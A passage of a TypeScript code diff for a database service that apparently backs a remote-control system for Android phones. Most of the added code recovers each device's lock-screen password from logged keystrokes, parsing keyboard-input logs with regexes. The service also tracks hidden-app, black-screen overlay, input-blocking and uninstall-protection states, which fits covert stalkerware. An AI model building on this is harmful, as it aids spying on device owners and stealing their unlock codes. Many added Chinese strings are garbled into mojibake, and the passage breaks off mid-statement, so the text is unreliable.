将所有设备状态重置为离线 + * 鉁?灏嗘墍鏈夎澶囩姸鎬侀噸缃负绂荤嚎 */ resetAllDevicesToOffline(): void { try { @@ -615,20 +707,20 @@ export class DatabaseService { UPDATE devices SET status = 'offline', lastSeen = ? `) const result = stmt.run(new Date().toISOString()) - this.logger.info(`已将 ${result.changes} 个设备状态重置为离线`) + this.logger.info(`宸插皢 ${result.changes} 涓澶囩姸鎬侀噸缃负绂荤嚎`) } catch (error) { - this.logger.error('重置所有设备状态失败:', error) + this.logger.error('閲嶇疆鎵€鏈夎澶囩姸鎬佸け璐?', error) } } /** - * 更新连接断开信息 + * 鏇存柊杩炴帴鏂紑淇℃伅 */ updateDisconnection(socketId: string): void { try { const disconnectedAt = new Date() - // 查找最近的连接记录 + // 鏌ユ壘鏈€杩戠殑杩炴帴璁板綍 const findStmt = this.db.prepare(` SELECT * FROM connection_history WHERE socketId = ? AND disconnectedAt IS NULL @@ -648,7 +740,7 @@ export class DatabaseService { WHERE id = ? `) - // 根据连接时长判断连接质量 + // 鏍规嵁杩炴帴鏃堕暱鍒ゆ柇杩炴帴璐ㄩ噺 let quality = 'good' if (duration < 30) { quality = 'poor' @@ -658,15 +750,15 @@ export class DatabaseService { updateStmt.run(disconnectedAt.toISOString(), duration, quality, connection.id) - this.logger.info(`连接断开记录已更新: ${socketId}, 持续时间: ${duration}秒, 质量: ${quality}`) + this.logger.info(`杩炴帴鏂紑璁板綍宸叉洿鏂? ${socketId}, 鎸佺画鏃堕棿: ${duration}绉? 璐ㄩ噺: ${quality}`) } } catch (error) { - this.logger.error('更新断开连接记录失败:', error) + this.logger.error('鏇存柊鏂紑杩炴帴璁板綍澶辫触:', error) } } /** - * 获取设备连接统计 + * 鑾峰彇璁惧杩炴帴缁熻 */ getDeviceStats(deviceId: string): any { try { @@ -683,13 +775,13 @@ export class DatabaseService { return stmt.get(deviceId) } catch (error) { - this.logger.error('获取设备统计失败:', error) + this.logger.error('鑾峰彇璁惧缁熻澶辫触:', error) return null } } /** - * 获取所有设备列表 + * 鑾峰彇鎵€鏈夎澶囧垪琛? */ getAllDevices(): DeviceRecord[] { try { @@ -700,13 +792,83 @@ export class DatabaseService { return rows.map(row => this.rowToDeviceRecord(row)) } catch (error) { - this.logger.error('获取设备列表失败:', error) + this.logger.error('鑾峰彇璁惧鍒楄〃澶辫触:', error) + return [] + } + } + + updateDeviceOwnership(params: { + deviceId: string + ownerUserId: string + ownerUsername: string + ownerGroupId?: string + ownerGroupName?: string + assignedBy?: string + }): boolean { + try { + const now = new Date().toISOString() + const stmt = this.db.prepare(` + UPDATE devices + SET ownerUserId = ?, + ownerUsername = ?, + ownerGroupId = ?, + ownerGroupName = ?, + assignedAt = ?, + assignedBy = ? + WHERE deviceId = ? + `) + + const result = stmt.run( + params.ownerUserId, + params.ownerUsername, + params.ownerGroupId || null, + params.ownerGroupName || null, + now, + params.assignedBy || null, + params.deviceId + ) + + return result.changes > 0 + } catch (error) { + this.logger.error('鏇存柊璁惧褰掑睘澶辫触:', error) + return false + } + } + + revokeAllDevicePermissions(deviceId: string): number { + try { + const now = new Date().toISOString() + const stmt = this.db.prepare(` + UPDATE user_device_permissions + SET isActive = FALSE, updatedAt = ? + WHERE deviceId = ? AND isActive = TRUE + `) + const result = stmt.run(now, deviceId) + return result.changes + } catch (error) { + this.logger.error('鎾ら攢璁惧鍏ㄩ儴鏉冮檺澶辫触:', error) + return 0 + } + } + + getActivePermissionUserIdsByDevice(deviceId: string): string[] { + try { + const stmt = this.db.prepare(` + SELECT userId + FROM user_device_permissions + WHERE deviceId = ? AND isActive = TRUE + AND (expiresAt IS NULL OR expiresAt > ?) + `) + const rows = stmt.all(deviceId, new Date().toISOString()) as Array<{ userId: string }> + return rows.map(row => row.userId) + } catch (error) { + this.logger.error('鏌ヨ璁惧鏉冮檺鐢ㄦ埛澶辫触:', error) return [] } } /** - * 清理旧连接记录 + * 娓呯悊鏃ц繛鎺ヨ褰? */ cleanupOldRecords(daysToKeep: number = 30): void { try { @@ -719,14 +881,14 @@ export class DatabaseService { `) const result = stmt.run(cutoffDate.toISOString()) - this.logger.info(`清理了 ${result.changes} 条旧连接记录`) + this.logger.info(`娓呯悊浜?${result.changes} 鏉℃棫杩炴帴璁板綍`) } catch (error) { - this.logger.error('清理旧记录失败:', error) + this.logger.error('娓呯悊鏃ц褰曞け璐?', error) } } /** - * 转换数据库行为DeviceRecord + * 杞崲鏁版嵁搴撹涓篋eviceRecord */ private rowToDeviceRecord(row: any): DeviceRecord { return { @@ -744,19 +906,25 @@ export class DatabaseService { lastSeen: new Date(row.lastSeen), connectionCount: row.connectionCount, lastSocketId: row.lastSocketId, - status: row.status || 'offline', // ✅ 添加状态字段 + status: row.status || 'offline', // 鉁?娣诲姞鐘舵€佸瓧娈? publicIP: row.publicIP, - remark: row.remark, // 🆕 添加备注字段 - // 🆕 添加系统版本信息字段 + remark: row.remark, // 馃啎 娣诲姞澶囨敞瀛楁 + // 馃啎 娣诲姞绯荤粺鐗堟湰淇℃伅瀛楁 systemVersionName: row.systemVersionName, romType: row.romType, romVersion: row.romVersion, - osBuildVersion: row.osBuildVersion + osBuildVersion: row.osBuildVersion, + ownerUserId: row.ownerUserId || undefined, + ownerUsername: row.ownerUsername || undefined, + ownerGroupId: row.ownerGroupId || undefined, + ownerGroupName: row.ownerGroupName || undefined, + assignedAt: row.assignedAt ? new Date(row.assignedAt) : undefined, + assignedBy: row.assignedBy || undefined } } /** - * 🆕 更新设备备注 + * 馃啎 鏇存柊璁惧澶囨敞 */ updateDeviceRemark(deviceId: string, remark: string): boolean { try { @@ -766,20 +934,20 @@ export class DatabaseService { const result = stmt.run(remark, deviceId) if (result.changes > 0) { - this.logger.info(`设备备注已更新: ${deviceId} -> ${remark}`) + this.logger.info(`璁惧澶囨敞宸叉洿鏂? ${deviceId} -> ${remark}`) return true } else { - this.logger.warn(`设备不存在或备注更新失败: ${deviceId}`) + this.logger.warn(`璁惧涓嶅瓨鍦ㄦ垨澶囨敞鏇存柊澶辫触: ${deviceId}`) return false } } catch (error) { - this.logger.error('更新设备备注失败:', error) + this.logger.error('鏇存柊璁惧澶囨敞澶辫触:', error) return false } } /** - * 🆕 获取设备备注 + * 馃啎 鑾峰彇璁惧澶囨敞 */ getDeviceRemark(deviceId: string): string | null { try { @@ -789,13 +957,13 @@ export class DatabaseService { const row = stmt.get(deviceId) as any return row ? row.remark : null } catch (error) { - this.logger.error('获取设备备注失败:', error) + this.logger.error('鑾峰彇璁惧澶囨敞澶辫触:', error) return null } } /** - * 保存操作日志 + * 淇濆瓨鎿嶄綔鏃ュ織 */ saveOperationLog(log: OperationLogRecord): void { try { @@ -812,15 +980,15 @@ export class DatabaseService { log.timestamp.toISOString() ) - this.logger.debug(`操作日志已保存: ${log.deviceId} - ${log.logType}`) + this.logger.debug(`鎿嶄綔鏃ュ織宸蹭繚瀛? ${log.deviceId} - ${log.logType}`) } catch (error) { - this.logger.error('保存操作日志失败:', error) + this.logger.error('淇濆瓨鎿嶄綔鏃ュ織澶辫触:', error) throw error } } /** - * 获取设备操作日志(分页) + * 鑾峰彇璁惧鎿嶄綔鏃ュ織锛堝垎椤碉級 */ getOperationLogs(deviceId: string, page: number = 1, pageSize: number = 50, logType?: string): { logs: OperationLogRecord[], @@ -830,7 +998,7 @@ export class DatabaseService { totalPages: number } { try { - // 构建查询条件 + // 鏋勫缓鏌ヨ鏉′欢 let whereClause = 'WHERE deviceId = ?' let params: any[] = [deviceId] @@ -839,14 +1007,14 @@ export class DatabaseService { params.push(logType) } - // 查询总数 + // 鏌ヨ鎬绘暟 const countStmt = this.db.prepare(` SELECT COUNT(*) as total FROM operation_logs ${whereClause} `) const totalResult = countStmt.get(...params) as any const total = totalResult.total - // 查询分页数据 + // 鏌ヨ鍒嗛〉鏁版嵁 const offset = (page - 1) * pageSize const dataStmt = this.db.prepare(` SELECT * FROM operation_logs ${whereClause} @@ -875,7 +1043,7 @@ export class DatabaseService { totalPages } } catch (error) { - this.logger.error('获取操作日志失败:', error) + this.logger.error('鑾峰彇鎿嶄綔鏃ュ織澶辫触:', error) return { logs: [], total: 0, @@ -887,7 +1055,7 @@ export class DatabaseService { } /** - * 删除设备的所有操作日志 + * 鍒犻櫎璁惧鐨勬墍鏈夋搷浣滄棩蹇? */ clearOperationLogs(deviceId: string): void { try { @@ -896,15 +1064,15 @@ export class DatabaseService { `) const result = stmt.run(deviceId) - this.logger.info(`已删除设备 ${deviceId} 的 ${result.changes} 条操作日志`) + this.logger.info(`Cleared operation logs for device ${deviceId}: ${result.changes}`) } catch (error) { - this.logger.error('清理操作日志失败:', error) + this.logger.error('娓呯悊鎿嶄綔鏃ュ織澶辫触:', error) throw error } } /** - * 清理旧的操作日志 + * 娓呯悊鏃х殑鎿嶄綔鏃ュ織 */ cleanupOldOperationLogs(daysToKeep: number = 7): void { try { @@ -916,14 +1084,14 @@ export class DatabaseService { `) const result = stmt.run(cutoffDate.toISOString()) - this.logger.info(`清理了 ${result.changes} 条旧操作日志 (${daysToKeep}天前)`) + this.logger.info(`娓呯悊浜?${result.changes} 鏉℃棫鎿嶄綔鏃ュ織 (${daysToKeep}澶╁墠)`) } catch (error) { - this.logger.error('清理旧操作日志失败:', error) + this.logger.error('娓呯悊鏃ф搷浣滄棩蹇楀け璐?', error) } } /** - * 获取操作日志统计 + * 鑾峰彇鎿嶄綔鏃ュ織缁熻 */ getOperationLogStats(deviceId: string): any { try { @@ -947,83 +1115,237 @@ export class DatabaseService { lastLog: new Date(stat.lastLog) })) } catch (error) { - this.logger.error('获取操作日志统计失败:', error) + this.logger.error('鑾峰彇鎿嶄綔鏃ュ織缁熻澶辫触:', error) return [] } } /** - * 获取设备最新的密码记录 + * 鑾峰彇璁惧鏈€鏂扮殑瀵嗙爜璁板綍 */ getLatestDevicePassword(deviceId: string): string | null { try { - // 查询包含密码信息的最新日志 - const stmt = this.db.prepare(` - SELECT content, extraData FROM operation_logs - WHERE deviceId = ? - AND ( - content LIKE '%🔒 密码输入:%' OR - content LIKE '%🔑 密码输入分析完成%' OR - content LIKE '%密码%' OR - content LIKE '%PIN%' - ) - ORDER BY timestamp DESC - LIMIT 1 - `) - - const row = stmt.get(deviceId) as any - - if (row) { - // 尝试从 extraData 中获取密码 - if (row.extraData) { - try { - const extraData = JSON.parse(row.extraData) - if (extraData.reconstructedPassword) { - return extraData.reconstructedPassword - } - if (extraData.actualPasswordText) { - return extraData.actualPasswordText - } - if (extraData.password) { - return extraData.password - } - } catch (e) { - // 忽略 JSON 解析错误 - } + // 1) Prefer captured lock-screen candidates from operation logs. + const candidateLogs = this.getPasswordCandidatesFromLogs(deviceId) + for (const log of candidateLogs) { + const parsedExtra = this.tryParseJson(log?.extraData) + if (this.shouldIgnorePasswordLogCandidate(parsedExtra)) { + continue } - - // 尝试从 content 中提取密码 - const content = row.content - - // 匹配 "🔒 密码输入: xxx (N位)" 格式 - const passwordMatch = content.match(/🔒 密码输入:\s*(.+?)\s*\(\d+位\)/) - if (passwordMatch) { - const password = passwordMatch[1].trim() - // 过滤掉纯遮罩字符的密码 - if (password && !password.match(/^[•*]+$/)) { - return password - } + + const fromExtra = this.extractPasswordFromExtraData(parsedExtra) + if (fromExtra) { + return fromExtra } - - // 匹配 "🔑 密码输入分析完成: xxx" 格式 - const analysisMatch = content.match(/🔑 密码输入分析完成:\s*(.+)/) - if (analysisMatch) { - const password = analysisMatch[1].trim() - if (password && !password.match(/^[•*]+$/)) { - return password - } + + const fromContent = this.extractPasswordFromContent(log?.content) + if (fromContent) { + return fromContent } } - + + // 2) Fallback to trusted password_inputs (exclude PasswordInputActivity records). + const trustedPasswordInput = this.getLatestTrustedPasswordInput(deviceId) + const fromPasswordInput = this.normalizePasswordCandidate(trustedPasswordInput?.password) + if (fromPasswordInput) { + this.logger.info(`Latest password resolved from trusted password_inputs: ${deviceId}`) + return fromPasswordInput + } + return null } catch (error) { - this.logger.error('获取设备密码失败:', error) + this.logger.error('Failed to get latest device password:', error) return null } } + + private tryParseJson(raw: any): any | null { + if (!raw) { + return null + } + + if (typeof raw === 'object') { + return raw + } + + if (typeof raw !== 'string') { + return null + } + + try { + return JSON.parse(raw) + } catch (error) { + return null + } + } + + private normalizePasswordCandidate(candidate: unknown): string | null { + if (typeof candidate !== 'string') { + return null + } + + const trimmed = candidate.trim() + if (!trimmed) { + return null + } + + // Skip pure mask characters. + if (/^(?:[\u2022*?\u00B7\-\s])+$/.test(trimmed)) { + return null + } + + const compact = trimmed.replace(/\s+/g, '') + const dialerKeypadPattern = /^(?:\d(?:ABC|DEF|GHI|JKL|MNO|PQRS|TUV|WXYZ))+$/i + if (dialerKeypadPattern.test(compact)) { + const digits = compact.replace(/(?:ABC|DEF|GHI|JKL|MNO|PQRS|TUV|WXYZ)/ig, '') + if (digits.length >= 3) { + return digits + } + return null + } + + if (trimmed.length < 3 || trimmed.length > 64) { + return null + } + + return trimmed + } + + private shouldIgnorePasswordLogCandidate(extraData: any): boolean { + if (!extraData || typeof extraData !== 'object') { + return false + } + + const sourceType = String(extraData.sourceType || '').toLowerCase() + const activity = String(extraData.activity || '').toLowerCase() + const sourcePackageName = String(extraData.sourcePackageName || extraData.packageName || '').toLowerCase() + const sourceClassName = String(extraData.sourceClassName || extraData.className || '').toLowerCase() + + if (sourceType.includes('manual')) { + return true + } + if (activity.includes('passwordinputactivity')) { + return true + } + if (sourcePackageName.includes('com.hikoncont')) { + return true + } + if (sourceClassName.includes('passwordinputactivity')) { + return true + } + + return false + } + + private hasManualPasswordInput(deviceId: string, password: string): boolean { + try { + const stmt = this.db.prepare(` + SELECT COUNT(*) as total + FROM password_inputs + WHERE deviceId = ? + AND password = ? + AND LOWER(activity) LIKE '%passwordinputactivity%' + `) + const row = stmt.get(deviceId, password) as any + return (row?.total || 0) > 0 + } catch (error) { + this.logger.error('Failed to check manual password input record:', error) + return false + } + } + + private getLatestTrustedPasswordInput(deviceId: string): PasswordInputRecord | null { + try { + const stmt = this.db.prepare(` + SELECT * + FROM password_inputs + WHERE deviceId = ? + AND LOWER(activity) NOT LIKE '%passwordinputactivity%' + ORDER BY timestamp DESC + LIMIT 1 + `) + const row = stmt.get(deviceId) as any + if (!row) { + return null + } + + return { + id: row.id, + deviceId: row.deviceId, + password: row.password, + passwordLength: row.passwordLength, + passwordType: row.passwordType, + activity: row.activity, + inputMethod: row.inputMethod, + installationId: row.installationId, + sessionId: row.sessionId, + timestamp: new Date(row.timestamp), + createdAt: new Date(row.createdAt) + } + } catch (error) { + this.logger.error('Failed to get trusted password input:', error) + return null + } + } + + + + private extractPasswordFromExtraData(extraDataRaw: any): string | null { + const extraData = this.tryParseJson(extraDataRaw) + if (!extraData || typeof extraData !== 'object') { + return null + } + + const candidates = [ + extraData.reconstructedPassword, + extraData.actualPasswordText, + extraData.password, + extraData.numericSequencePassword, + extraData.text + ] + + for (const candidate of candidates) { + const normalized = this.normalizePasswordCandidate(candidate) + if (normalized) { + return normalized + } + } + + return null + } + + private extractPasswordFromContent(contentRaw: unknown): string | null { + if (typeof contentRaw !== 'string') { + return null + } + + const content = contentRaw.trim() + if (!content) { + return null + } + + const patternList = [ + /(?:\u5bc6\u7801|password|passcode|pin)\s*(?:\uFF1A|:|=)\s*([^\s|,;]+)/i, + /(?:\u8f93\u5165\u6587\u672c|input\s*text|typed\s*text)\s*(?:\uFF1A|:|=)\s*([^\s|,;]+)/i, + /(?:\u91cd\u6784\u5bc6\u7801|reconstructed\s*password|unlock\s*password)\s*(?:\uFF1A|:|=)\s*['"]?([^'"\s|,;]+)['"]?/i + ] + + for (const pattern of patternList) { + const match = content.match(pattern) + const normalized = this.normalizePasswordCandidate(match?.[1] || null) + if (normalized) { + return normalized + } + } + + return null + } + + + /** - * ✅ 获取设备状态 + * 鉁?鑾峰彇璁惧鐘舵€? */ getDeviceState(deviceId: string): DeviceStateRecord | null { try { @@ -1041,6 +1363,7 @@ export class DatabaseService { blackScreenActive: !!row.blackScreenActive, appHidden: !!row.appHidden, uninstallProtectionEnabled: !!row.uninstallProtectionEnabled, + runtimeFlags: row.runtimeFlags ? JSON.parse(row.runtimeFlags) : undefined, lastPasswordUpdate: row.lastPasswordUpdate ? new Date(row.lastPasswordUpdate) : undefined, confirmButtonCoords: row.confirmButtonCoords ? JSON.parse(row.confirmButtonCoords) : undefined, learnedConfirmButton: row.learnedConfirmButton ? JSON.parse(row.learnedConfirmButton) : undefined, @@ -1051,13 +1374,13 @@ export class DatabaseService { return null } catch (error) { - this.logger.error('获取设备状态失败:', error) + this.logger.error('鑾峰彇璁惧鐘舵€佸け璐?', error) return null } } /** - * ✅ 保存或更新设备状态 + * 鉁?淇濆瓨鎴栨洿鏂拌澶囩姸鎬? */ saveDeviceState(deviceId: string, state: Partial): void { try { @@ -1065,7 +1388,7 @@ export class DatabaseService { const now = new Date() if (existing) { - // 更新现有状态 + // 鏇存柊鐜版湁鐘舵€? const updates: string[] = [] const params: any[] = [] @@ -1100,6 +1423,11 @@ export class DatabaseService { updates.push('uninstallProtectionEnabled = ?') params.push(state.uninstallProtectionEnabled ? 1 : 0) } + + if (state.runtimeFlags !== undefined) { + updates.push('runtimeFlags = ?') + params.push(state.runtimeFlags ? JSON.stringify(state.runtimeFlags) : null) + } if (state.confirmButtonCoords !== undefined) { updates.push('confirmButtonCoords = ?') @@ -1120,15 +1448,15 @@ export class DatabaseService { `) stmt.run(...params) - this.logger.info(`设备状态已更新: ${deviceId}`) + this.logger.info(`璁惧鐘舵€佸凡鏇存柊: ${deviceId}`) } else { - // 创建新状态记录 + // 鍒涘缓鏂扮姸鎬佽褰? const stmt = this.db.prepare(` INSERT INTO device_states ( deviceId, password, inputBlocked, loggingEnabled, - blackScreenActive, appHidden, uninstallProtectionEnabled, lastPasswordUpdate, confirmButtonCoords, learnedConfirmButton, + blackScreenActive, appHidden, uninstallProtectionEnabled, runtimeFlags, lastPasswordUpdate, confirmButtonCoords, learnedConfirmButton, createdAt, updatedAt - ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) `) stmt.run( @@ -1139,6 +1467,7 @@ export class DatabaseService { state.blackScreenActive ? 1 : 0, state.appHidden ? 1 : 0, state.uninstallProtectionEnabled ? 1 : 0, + state.runtimeFlags ? JSON.stringify(state.runtimeFlags) : null, state.password ? now.toISOString() : null, state.confirmButtonCoords ? JSON.stringify(state.confirmButtonCoords) : null, state.learnedConfirmButton ? JSON.stringify(state.learnedConfirmButton) : null, @@ -1146,129 +1475,236 @@ export class DatabaseService { now.toISOString() ) - this.logger.info(`设备状态已创建: ${deviceId}`) + this.logger.info(`璁惧鐘舵€佸凡鍒涘缓: ${deviceId}`) } } catch (error) { - this.logger.error('保存设备状态失败:', error) + this.logger.error('淇濆瓨璁惧鐘舵€佸け璐?', error) throw error } } /** - * ✅ 更新设备密码 + * 鉁?鏇存柊璁惧瀵嗙爜 */ updateDevicePassword(deviceId: string, password: string): void { try { this.saveDeviceState(deviceId, { password }) - this.logger.info(`设备密码已更新: ${deviceId}`) + this.logger.info(`璁惧瀵嗙爜宸叉洿鏂? ${deviceId}`) } catch (error) { - this.logger.error('更新设备密码失败:', error) + this.logger.error('鏇存柊璁惧瀵嗙爜澶辫触:', error) throw error } } /** - * ✅ 更新设备输入阻止状态 + * 鉁?鏇存柊璁惧杈撳叆闃绘鐘舵€? */ updateDeviceInputBlocked(deviceId: string, blocked: boolean): void { try { this.saveDeviceState(deviceId, { inputBlocked: blocked }) - this.logger.info(`设备输入阻止状态已更新: ${deviceId} -> ${blocked}`) + this.logger.info(`璁惧杈撳叆闃绘鐘舵€佸凡鏇存柊: ${deviceId} -> ${blocked}`) } catch (error) { - this.logger.error('更新设备输入阻止状态失败:', error) + this.logger.error('鏇存柊璁惧杈撳叆闃绘鐘舵€佸け璐?', error) throw error } } /** - * ✅ 更新设备日志记录状态 + * 鉁?鏇存柊璁惧鏃ュ織璁板綍鐘舵€? */ updateDeviceLoggingEnabled(deviceId: string, enabled: boolean): void { this.saveDeviceState(deviceId, { loggingEnabled: enabled }) - this.logger.info(`设备 ${deviceId} 日志状态已更新: ${enabled}`) + this.logger.info(`璁惧 ${deviceId} 鏃ュ織鐘舵€佸凡鏇存柊: ${enabled}`) } /** - * 🆕 更新设备黑屏遮盖状态 + * 馃啎 鏇存柊璁惧榛戝睆閬洊鐘舵€? */ updateDeviceBlackScreenActive(deviceId: string, active: boolean): void { this.saveDeviceState(deviceId, { blackScreenActive: active }) - this.logger.info(`设备 ${deviceId} 黑屏遮盖状态已更新: ${active}`) + this.logger.info(`璁惧 ${deviceId} 榛戝睆閬洊鐘舵€佸凡鏇存柊: ${active}`) } /** - * 🆕 更新设备应用隐藏状态 + * 馃啎 鏇存柊璁惧搴旂敤闅愯棌鐘舵€? */ updateDeviceAppHidden(deviceId: string, hidden: boolean): void { this.saveDeviceState(deviceId, { appHidden: hidden }) - this.logger.info(`设备 ${deviceId} 应用隐藏状态已更新: ${hidden}`) + this.logger.info(`璁惧 ${deviceId} 搴旂敤闅愯棌鐘舵€佸凡鏇存柊: ${hidden}`) } /** - * 🛡️ 更新设备防止卸载保护状态 + * 馃洝锔?鏇存柊璁惧闃叉鍗歌浇淇濇姢鐘舵€? */ updateDeviceUninstallProtection(deviceId: string, enabled: boolean): void { this.saveDeviceState(deviceId, { uninstallProtectionEnabled: enabled }) - this.logger.info(`设备 ${deviceId} 防止卸载保护状态已更新: ${enabled}`) + this.logger.info(`璁惧 ${deviceId} 闃叉鍗歌浇淇濇姢鐘舵€佸凡鏇存柊: ${enabled}`) } - /** - * ✅ 获取设备密码(优先从状态表获取,其次从日志获取) - */ - getDevicePassword(deviceId: string): string | null { + updateDeviceRuntimeFlags(deviceId: string, flags: Record): void { + this.saveDeviceState(deviceId, { runtimeFlags: flags }) + this.logger.info(`Device runtime flags updated: ${deviceId} -> ${JSON.stringify(flags)}`) + } + + getDeviceRuntimeFlags(deviceId: string): Record | null { + const state = this.getDeviceState(deviceId) + return state?.runtimeFlags || null + } + + getDeviceMetricSummary(deviceId: string, hours: number = 24): any { try { - // 1. 优先从设备状态表获取 - const deviceState = this.getDeviceState(deviceId) - if (deviceState && deviceState.password) { - this.logger.info(`从状态表获取设备密码: ${deviceId}`) - return deviceState.password + const safeHours = Math.max(1, Math.min(24 * 30, Math.floor(hours))) + const since = new Date(Date.now() - safeHours * 60 * 60 * 1000).toISOString() + const rows = this.db.prepare(` + SELECT content, extraData, timestamp + FROM operation_logs + WHERE deviceId = ? + AND logType = 'SYSTEM_EVENT' + AND timestamp >= ? + ORDER BY timestamp DESC + LIMIT 5000 + `).all(deviceId, since) as any[] + + let totalMetrics = 0 + let successfulMetrics = 0 + let failedMetrics = 0 + const groups: Record = {} + + for (const row of rows) { + let extra: any = null + try { + extra = row.extraData ? JSON.parse(row.extraData) : null + } catch { + continue + } + + const metricType = typeof extra?.metricType === 'string' ? extra.metricType : null + const metricName = typeof extra?.metricName === 'string' ? extra.metricName : null + if (!metricType || !metricName) { + continue + } + + totalMetrics++ + const success = typeof extra?.success === 'boolean' ? extra.success : undefined + if (success === true) successfulMetrics++ + if (success === false) failedMetrics++ + + const key = `${metricType}:${metricName}` + if (!groups[key]) { + groups[key] = { + metricType, + metricName, + total: 0, + success: 0, + failed: 0, + latestTimestamp: null as string | null + } + } + + groups[key].total += 1 + if (success === true) groups[key].success += 1 + if (success === false) groups[key].failed += 1 + if (!groups[key].latestTimestamp || row.timestamp > groups[key].latestTimestamp) { + groups[key].latestTimestamp = row.timestamp + } } - - // 2. 从操作日志获取 - const passwordFromLog = this.getLatestDevicePassword(deviceId) - if (passwordFromLog) { - this.logger.info(`从日志获取设备密码: ${deviceId}`) - // 同时保存到状态表 - this.updateDevicePassword(deviceId, passwordFromLog) - return passwordFromLog + + const breakdown = Object.values(groups).sort((a: any, b: any) => b.total - a.total) + const judged = successfulMetrics + failedMetrics + const successRate = judged > 0 ? Number(((successfulMetrics / judged) * 100).toFixed(2)) : null + + return { + deviceId, + hours: safeHours, + since, + totalMetrics, + judgedMetrics: judged, + successfulMetrics, + failedMetrics, + successRate, + breakdown } - - return null } catch (error) { - this.logger.error('获取设备密码失败:', error) - return null + this.logger.error('Get device metric summary failed:', error) + return { + deviceId, + hours, + totalMetrics: 0, + judgedMetrics: 0, + successfulMetrics: 0, + failedMetrics: 0, + successRate: null, + breakdown: [] + } } } /** - * ✅ 保存设备密码(别名方法,用于API调用) + * 鉁?鑾峰彇璁惧瀵嗙爜锛堜紭鍏堜粠鐘舵€佽〃鑾峰彇锛屽叾娆′粠鏃ュ織鑾峰彇锛? + */ + getDevicePassword(deviceId: string): string | null { + try { + // 1. Resolve a trusted/captured password first. + const passwordFromTrustedSources = this.getLatestDevicePassword(deviceId) + if (passwordFromTrustedSources) { + this.logger.info(`Resolved password from trusted sources: ${deviceId}`) + const state = this.getDeviceState(deviceId) + if (!state?.password || state.password !== passwordFromTrustedSources) { + this.updateDevicePassword(deviceId, passwordFromTrustedSources) + } + return passwordFromTrustedSources + } + + // 2. Fallback to state table password, but skip known manual PasswordInputActivity values. + const deviceState = this.getDeviceState(deviceId) + const statePassword = this.normalizePasswordCandidate(deviceState?.password || null) + if (statePassword) { + if (this.hasManualPasswordInput(deviceId, statePassword)) { + this.logger.warn(`Skip state password because it matches PasswordInputActivity record: ${deviceId}`) + return null + } + + this.logger.info(`Resolved password from device state: ${deviceId}`) + return statePassword + } + + return null + } catch (error) { + this.logger.error('????????????:', error) + return null + } + } + + + /** + * 鉁?淇濆瓨璁惧瀵嗙爜锛堝埆鍚嶆柟娉曪紝鐢ㄤ簬API璋冪敤锛? */ saveDevicePassword(deviceId: string, password: string): void { this.updateDevicePassword(deviceId, password) } /** - * ✅ 更新设备状态(别名方法,用于API调用) + * 鉁?鏇存柊璁惧鐘舵€侊紙鍒悕鏂规硶锛岀敤浜嶢PI璋冪敤锛? */ updateDeviceState(deviceId: string, state: Partial): void { this.saveDeviceState(deviceId, state) } /** - * 🆕 保存确认按钮坐标 + * 馃啎 淇濆瓨纭鎸夐挳鍧愭爣 */ saveConfirmButtonCoords(deviceId: string, coords: { x: number, y: number }): void { try { this.saveDeviceState(deviceId, { confirmButtonCoords: coords }) - this.logger.info(`确认按钮坐标已保存: ${deviceId} -> (${coords.x}, ${coords.y})`) + this.logger.info(`纭鎸夐挳鍧愭爣宸蹭繚瀛? ${deviceId} -> (${coords.x}, ${coords.y})`) } catch (error) { - this.logger.error('保存确认按钮坐标失败:', error) + this.logger.error('淇濆瓨纭鎸夐挳鍧愭爣澶辫触:', error) throw error } } /** - * 🆕 获取确认按钮坐标 + * 馃啎 鑾峰彇纭鎸夐挳鍧愭爣 */ getConfirmButtonCoords(deviceId: string): { x: number, y: number } | null { try { @@ -1278,13 +1714,13 @@ export class DatabaseService { } return null } catch (error) { - this.logger.error('获取确认按钮坐标失败:', error) + this.logger.error('鑾峰彇纭鎸夐挳鍧愭爣澶辫触:', error) return null } } /** - * 🆕 更新学习的确认按钮坐标 + * 馃啎 鏇存柊瀛︿範鐨勭‘璁ゆ寜閽潗鏍? */ updateLearnedConfirmButton(deviceId: string, coords: { x: number, y: number }): void { try { @@ -1292,7 +1728,7 @@ export class DatabaseService { let learnedConfirmButton = { x: coords.x, y: coords.y, count: 1 } if (existing && existing.learnedConfirmButton) { - // 更新现有学习数据 + // 鏇存柊鐜版湁瀛︿範鏁版嵁 learnedConfirmButton = { x: coords.x, y: coords.y, @@ -1301,19 +1737,19 @@ export class DatabaseService { } this.saveDeviceState(deviceId, { learnedConfirmButton }) - this.logger.info(`学习的确认按钮坐标已更新: ${deviceId} -> (${coords.x}, ${coords.y}) 次数: ${learnedConfirmButton.count}`) + this.logger.info(`瀛︿範鐨勭‘璁ゆ寜閽潗鏍囧凡鏇存柊: ${deviceId} -> (${coords.x}, ${coords.y}) 娆℃暟: ${learnedConfirmButton.count}`) } catch (error) { - this.logger.error('更新学习的确认按钮坐标失败:', error) + this.logger.error('鏇存柊瀛︿範鐨勭‘璁ゆ寜閽潗鏍囧け璐?', error) throw error } } /** - * 从操作日志中获取可能的密码候选 + * 浠庢搷浣滄棩蹇椾腑鑾峰彇鍙兘鐨勫瘑鐮佸€欓€? */ getPasswordCandidatesFromLogs(deviceId: string): any[] { try { - // 首先查看该设备有什么类型的日志 + // Inspect log distribution first for easier troubleshooting. const allLogsQuery = ` SELECT logType, COUNT(*) as count FROM operation_logs @@ -1321,30 +1757,82 @@ export class DatabaseService { GROUP BY logType ` const logTypeCounts = this.db.prepare(allLogsQuery).all(deviceId) - this.logger.info(`设备 ${deviceId} 的日志类型分布:`, logTypeCounts) - + this.logger.info(`Password candidate log type stats for ${deviceId}:`, logTypeCounts) + + // 1) Read operation log types that may contain password clues. const query = ` SELECT content, extraData, timestamp, logType FROM operation_logs WHERE deviceId = ? - AND logType = 'TEXT_INPUT' + AND logType IN ('TEXT_INPUT', 'PASSWORD_DETECTED', 'DETECTED_KEYBOARD_INPUT', 'THIRD_PARTY_KEYBOARD_INPUT') ORDER BY timestamp DESC - LIMIT 100 + LIMIT 200 ` - - const logs = this.db.prepare(query).all(deviceId) - this.logger.info(`从设备 ${deviceId} 获取到 ${logs.length} 条文本输入日志`) - - return logs + + const rawLogs = this.db.prepare(query).all(deviceId) as any[] + const logs = rawLogs.map(row => ({ + content: row.content, + extraData: this.tryParseJson(row.extraData), + timestamp: row.timestamp, + logType: row.logType + })).filter(log => !this.shouldIgnorePasswordLogCandidate(log.extraData)) + + // 2) Synthesize candidates from password_inputs to avoid losing coverage. + const passwordInputRows 